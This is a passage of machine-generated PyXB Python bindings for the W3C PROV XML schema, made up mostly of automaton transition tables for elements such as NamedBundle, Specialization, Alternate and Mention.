fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_25, True) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_25, False) ])) st_25._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_26, True) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_26, False) ])) st_26._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_27, True) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_27, False) ])) st_27._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_28, True) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_28, False) ])) st_28._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_29, True) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_29, False) ])) st_29._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_30, True) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_30, False) ])) st_30._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_31, True) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_31, False) ])) st_31._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_32, True) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_32, False) ])) st_32._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_16, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_17, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_18, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_19, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_20, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_21, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_22, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_33, True) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_33, False) ])) st_33._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) NamedBundle._Automaton = _BuildAutomaton_14() Specialization._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'specificEntity'), IDRef, scope=Specialization, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 291, 6))) Specialization._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'generalEntity'), IDRef, scope=Specialization, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 292, 6))) def _BuildAutomaton_15 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_15 del _BuildAutomaton_15 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Specialization._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'specificEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 291, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Specialization._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generalEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 292, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Specialization._Automaton = _BuildAutomaton_15() Alternate._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'alternate1'), IDRef, scope=Alternate, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 298, 6))) Alternate._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'alternate2'), IDRef, scope=Alternate, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 299, 6))) def _BuildAutomaton_16 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_16 del _BuildAutomaton_16 import pyxb.utils.fac as fac counters = set() states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Alternate._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'alternate1')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 298, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Alternate._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'alternate2')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 299, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] st_1._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Alternate._Automaton = _BuildAutomaton_16() Mention._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'specificEntity'), IDRef, scope=Mention, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 306, 6))) Mention._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'generalEntity'), IDRef, scope=Mention, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 307, 6))) Mention._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'bundle'), IDRef, scope=Mention, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 308, 6))) def _BuildAutomaton_17 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_17 del 